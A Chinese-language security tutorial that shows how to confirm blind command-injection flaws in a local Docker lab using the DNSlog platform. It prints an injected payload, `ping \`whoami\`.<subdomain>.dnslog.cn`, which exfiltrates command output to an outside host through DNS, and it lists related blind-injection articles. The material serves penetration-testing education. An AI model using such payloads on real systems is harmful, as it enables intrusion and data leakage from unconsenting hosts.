通过DNSLOG回显验证漏洞

前言

实际渗透测试中,有些漏洞因为没有回显导致无法准确判断漏洞是否存在,可能导致渗透测试人员浪费大量精力在一个并不存在的漏洞上,因此为了验证一些无回显漏洞,可结合DNSlog平台进行测试,本文使用的DNSlog平台链接如下:http://dnslog.cn/

原理

DNSlog检测原理在此就不多赘述了,网上相关资料铺天盖地,此处引用一张FREEBUF的图用以说明,此图现在看不懂没关系,当做完实验后再返回查看本图思维就会很清晰了。

环境搭建

1. 安装Docker

接下来直接搭建靶场,进入实验环境,本实验使用Docker搭建漏洞环境,操作系统是windows 10,Docker Desktop提供了较为完善的图形化操作界面,且兼容性随着版本更新目前已经与linux下运行的Docker无区别,安装方式见官网,安装操作较为简单,无脑下一步即可,安装完成后需要重启,接着按照说明一步步安装其他必备环境,这里就不再细说了。

2.拉取镜像

  • 打开CMD/PowerShell运行以下命令:docker pull ge592555078/lkwa从仓库拉取镜像

  • 接着打开Docker Desktop按照下图操作运行刚才拉取的环境,并将80端口映射到本地的81端口

// 或者在命令行中直接输入docker run -d -p 81:80 ge592555078/lkwa

  • 此时访问http://localhost:81/应当出现apache的默认页面,证明环境搭建完成:

漏洞复现

由于主要学习dnslog的使用,我们就用环境中命令执行模块复现。

  1. 访问http://localhost:81/index.php此为漏洞环境的主页
  2. 左侧选择Bind RCE命令注入环境
  3. 此时访问dnslog平台:http://dnslog.cn/点击页面上Get SubDomain生成专属子域名

  1. 回到漏洞环境,在右侧命令执行输入框中输入如下命令之后点击submit按钮提交执行。(whoami后应该衔接刚才生成的对应子域名)

    ping `whoami`.cp2wj5.dnslog.cn
  2. 再返回DNSlog平台,点击刷新解析记录按钮,可以发现whoami的执行结果已经拼接成四级域名了:

    至此为止试验结束。

分析总结

存在无回显漏洞的主机访问DNSlog平台就会留下DNS解析记录,可以通过DNS解析记录查看最终的执行结果,如示例中的语句:

ping `whoami`.cp2wj5.dnslog.cn
此语句实际上是:
ping www-data.yafjqc.dnslog.cn

包围着whoami的符号是反单引号,是shift+~组合打出来的符号,表示执行命令的意思,那么最终ping的结果就是ping whoami执行后的主机名.随机三级域名.dnslog.cn,解析的时候一层一层的迭代解析,最终指向dnslog.cn服务器上你的专属三级域名,并附带上执行结果(四级域名),那么此时看dnslog服务器的DNS解析记录即可查看whoami的执行结果,如果对DNS协议不清楚此时应先去学习DNS解析原理,不然此篇文章学习起来较为吃力。

通过DNSLOG回显验证漏洞的更多相关文章

  1. 利用DNSlog回显Weblogic(CVE-2017-10271) 漏洞执行命令结果

    作者:Armyzer0 Weblogic(CVE-2017-10271) 漏洞出来以后又是一波血雨腥风,正好我昨天测试的时候发现了一个存在这个漏洞的weblogic,但是他不回显咋办呢!让他返回执行结 ...

  2. 巧用DNSlog实现无回显注入

    测试一些网站的时候,一些注入都是无回显的,我们可以写脚本来进行盲注,但有些网站会ban掉我们的ip,这样我们可以通过设置ip代理池解决, 但是盲注往往效率很低,所以产生了DNSlog注入.具体原理如下 ...

  3. 【渗透测试】如何利用burpsuite测试无回显漏洞

    前面的文章讲了在windows和linux上的不同的无文件渗透测试的方法,那么这篇文章给大家讲解如何在漏洞没有回显的情况下,利用burpsuite自带插件进行测试的方式. 首先我们稍微提一下有哪些无回 ...

  4. 利用DNSLog实现无回显注入

    测试一些网站的时候,一些注入都是无回显的,我们可以写脚本来进行盲注,但有些网站会ban掉我们的ip,这样我们可以通过设置ip代理池解决, 但是盲注往往效率很低,所以产生了DNSlog注入 DNSLOG ...

  5. 巧用DNSlog实现无回显注入【转载】

    原作者:afanti 原出处:https://www.cnblogs.com/afanti/p/8047530.html 0x00 简介 测试一些网站的时候,一些注入都是无回显的,我们可以写脚本来进行 ...

  6. Java反序列化漏洞执行命令回显实现及Exploit下载

    原文地址:http://www.freebuf.com/tools/88908.html 本文原创作者:rebeyond 文中提及的部分技术.工具可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使 ...

  7. EasyUI加zTree使用解析 easyui修改操作的表单回显方法 验证框提交表单前验证 datagrid的load方法

    带参提交一次查询,从服务器加载新数据.这是一个神奇的方法 $('#dg').datagrid('load',{ code: '01', name: 'name01' }); easyui修改操作的回显 ...

  8. SpEL表达式注入漏洞学习和回显poc研究

    目录 前言 环境 基础学习和回显实验 语法基础 回显实验 BufferedReader Scanner SpEL漏洞复现 低版本SpringBoot中IllegalStateException CVE ...

  9. DVWA中SQL回显注入

    一.SQL注入简介 1.1 SQL语句就是操作数据库的语句,SQL注入就是通过web程序在数据库里执行任意SQL语句. SQL 注入是一种常见的Web安全漏洞,攻击者利用这个漏洞,可以访问和修改数据, ...

随机推荐

  1. kickstart 谷歌 D 2020 年 7 月 12 日 13: 00 - 16: 00

    https://codingcompetitions.withgoogle.com/kickstart/round/000000000019ff08/0000000000386d5c (kick st ...

  2. 第 4篇 Scrum 冲刺博客

    一.站立式会议 1.站立式会议照片 2.昨天已完成的工作 登录信息的匹配 3.今天计划完成的工作 ①售货员页面功能 ②销售排行 4.工作中遇到的困难 ①页面按钮太过复杂,逻辑错乱 ②有的同学数据库驱动 ...

  3. 四、java多线程核心技术——synchronized同步方法与synchronized同步快

    一.synchronized同步方法 论:"线程安全"与"非线程安全"是多线程的经典问题.synchronized()方法就是解决非线程安全的. 1.方法内的变 ...

  4. Python轻松入门到项目实战-实用教程

    本课程完全基于Python3讲解,针对广大的Python爱好者与同学录制.通过本课程的学习,可以让同学们在学习Python的过程中少走弯路.整个课程以实例教学为核心,通过对大量丰富的经典实例的讲解.让 ...

  5. java-01-基础语法

    1. 注释 单行注释 格式: // 注释信息 多行注释 格式: /* 注释信息 */ 文档注释 格式: /** 注释信息 */ 2. 常量 定义:在程序运行过程中,其值不可发生改变的量 分类: 常量类 ...

  6. create-react-app 基于TS的项目

    写在前面 最近在用React,发现百度了很多都没有找到基于TS的React项目搭建,很多是老的方法已经属于不成功的了,今天我把最新的搭建基于ts的React的项目分享出来 create-react-a ...

  7. css3选择器归类整理---基本选择器和属性选择器

    css3选择器分类 CSS3选择器分类如下图所示 选择器的语法 1.基本选择器 类型 代码 功能描述 通配选择器 *{ margin: 0; padding: 0; border: none; } 选 ...

  8. matplotlib的学习6-annotation的标注

    import matplotlib.pyplot as plt import numpy as np ''' 当图线中某些特殊地方需要标注时,我们可以使用 annotation. matplotlib ...

  9. kali2020 装不上docker

    问题描述 如图,不支持i386体系架构 所以百度了一下啥是i386,以及docker支持哪些体系架构 官网的截图如下: 然后我发现我一直以为我装的是64位debian,实际上我装的是32位的 补充一下 ...

  10. 解决Yii ActiveForm监听submit触发2次submit

    今天用yii框架的ActiveForm需要一个奇怪的问题,点击表单提交时会触发两次submit 产生问题的原因: form挂了2次submit事件,一次是yii activeform自带的,一次是我写 ...